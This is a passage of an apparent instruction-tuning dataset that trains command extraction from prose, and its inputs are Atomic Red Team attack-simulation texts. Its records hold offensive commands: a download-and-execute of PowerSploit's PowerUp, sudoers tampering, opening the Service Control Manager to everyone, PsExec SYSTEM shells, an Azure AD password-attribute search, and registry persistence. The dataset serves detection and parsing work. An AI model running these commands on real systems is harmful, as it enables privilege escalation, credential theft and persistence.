    "output": "{\"command_list\": [\"sc.exe stop #{service_name}\\n\", \"net.exe stop #{service_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable sudo caching tty_tickets, which should only be done in non-production environments, use the following command:\nsudo sh -c \"echo Defaults \"\\'!\\'\"tty_tickets >> /usr/local/etc/sudoers\"\nsudo visudo -c -f /usr/local/etc/sudoers; To identify remote systems with file and print sharing enabled, use the following command sequence: net view /domain\nnet view\n",
    "output": "{\"command_list\": [\"sudo sh -c \\\"echo Defaults \\\"'!'\\\"tty_tickets >> /usr/local/etc/sudoers\\\"\\nsudo visudo -c -f /usr/local/etc/sudoers\\n\", \"net view /domain\\nnet view\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following command will spawn notepad.exe as a child process of the current one: Start-ATHProcessUnderSpecificParent  -ParentId #{parent_pid} -TestGuid #{test_guid}; The following PowerShell command spawns a process as a child of the initial svchost.exe process it finds: Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter \"Name = 'svchost.exe' AND CommandLine LIKE '%'\" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'",
    "output": "{\"command_list\": [\"Start-ATHProcessUnderSpecificParent  -ParentId #{parent_pid} -TestGuid #{test_guid}\", \"Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter \\\"Name = 'svchost.exe' AND CommandLine LIKE '%'\\\" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate an adversary duplicating volume data for persistence or exfiltration, create an EBS snapshot in AWS using the following command: aws ec2 create-snapshot --region #{aws_region} --volume-id #{aws_volume_id} --description \"Atomic Red Team Test Snapshot\" --query \"SnapshotId\" --output text; To create a snapshot of a managed disk in Azure, simulating adversary behavior for persistence, use the following command: az snapshot create --resource-group #{azure_resource_group} --name #{azure_snapshot_name} --source #{azure_disk_name} --location eastus",
    "output": "{\"command_list\": [\"aws ec2 create-snapshot --region #{aws_region} --volume-id #{aws_volume_id} --description \\\"Atomic Red Team Test Snapshot\\\" --query \\\"SnapshotId\\\" --output text\\n\", \"az snapshot create --resource-group #{azure_resource_group} --name #{azure_snapshot_name} --source #{azure_disk_name} --location eastus\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation involves compiling C# source code and running the resulting executable, which can be done with the command: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe -out:#{output_file_name} \"#{input_source_code}\"\n#{output_file_name}\n; For detecting potentially exposed credentials in Azure AD, run the following PowerShell commands that scan all user attributes and output matches to a text file: \nimport-module msonline\n$Password = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Password\nConnect-MsolService -Credential $Credential\n$users = Get-MsolUser -All;\nforeach($user in $users)\n{$props = @();$user | Get-Member | foreach-object{$props+=$_.Name}; \nforeach($prop in $props)\n{if($user.$prop -like \"*password*\")\n{(\"[*]\" + $user.UserPrincipalName + \"[\" + $prop + \"]\" + \" : \" + $user.$prop) | out-file -filepath $env:temp\\T1552.005Test1.txt -append -force}}}\nget-content -path $env:temp\\T1552.005Test1.txt -erroraction silentlycontinue",
    "output": "{\"command_list\": [\"C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\csc.exe -out:#{output_file_name} \\\"#{input_source_code}\\\"\\n#{output_file_name}\\n\", \"import-module msonline\\n$Password = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Password\\nConnect-MsolService -Credential $Credential\\n$users = Get-MsolUser -All;\\nforeach($user in $users)\\n{$props = @();$user | Get-Member | foreach-object{$props+=$_.Name}; \\nforeach($prop in $props)\\n{if($user.$prop -like \\\"*password*\\\")\\n{(\\\"[*]\\\" + $user.UserPrincipalName + \\\"[\\\" + $prop + \\\"]\\\" + \\\" : \\\" + $user.$prop) | out-file -filepath $env:temp\\\\T1552.005Test1.txt -append -force}}}\\nget-content -path $env:temp\\\\T1552.005Test1.txt -erroraction silentlycontinue\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify the system owner or current user, run the following command in Windows Command Prompt: set file=#{output_file_path}\\user_info_%random%.tmp\necho Username: %USERNAME% > %file%\necho User Domain: %USERDOMAIN% >> %file%\nnet users >> %file%\nquery user >> %file%\n; For executing a DLL with elevated privileges after a system restart, insert the following registry entry via the command: reg add \"hklm\\system\\currentcontrolset\\control\\print\\monitors\\AtomicRedTeam\" /v \"Driver\" /d \"#{monitor_dll}\" /t REG_SZ /f\n",
    "output": "{\"command_list\": [\"set file=#{output_file_path}\\\\user_info_%random%.tmp\\necho Username: %USERNAME% > %file%\\necho User Domain: %USERDOMAIN% >> %file%\\nnet users >> %file%\\nquery user >> %file%\\n\", \"reg add \\\"hklm\\\\system\\\\currentcontrolset\\\\control\\\\print\\\\monitors\\\\AtomicRedTeam\\\" /v \\\"Driver\\\" /d \\\"#{monitor_dll}\\\" /t REG_SZ /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Service Control Manager permissions can be modified to permit administrative users to escalate privileges and create SYSTEM-level services (restart required), using the command: sc.exe sdset scmanager D:(A;;KA;;;WD)\n; The malware leverages PsExec by dropping it in the victim's TEMP directory and running it via this command: cd C:\\Users\\Public\\Temp\\ \n.\\PsExec.exe -i -s cmd  -accepteula",
    "output": "{\"command_list\": [\"sc.exe sdset scmanager D:(A;;KA;;;WD)\\n\", \"cd C:\\\\Users\\\\Public\\\\Temp\\\\ \\n.\\\\PsExec.exe -i -s cmd  -accepteula\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
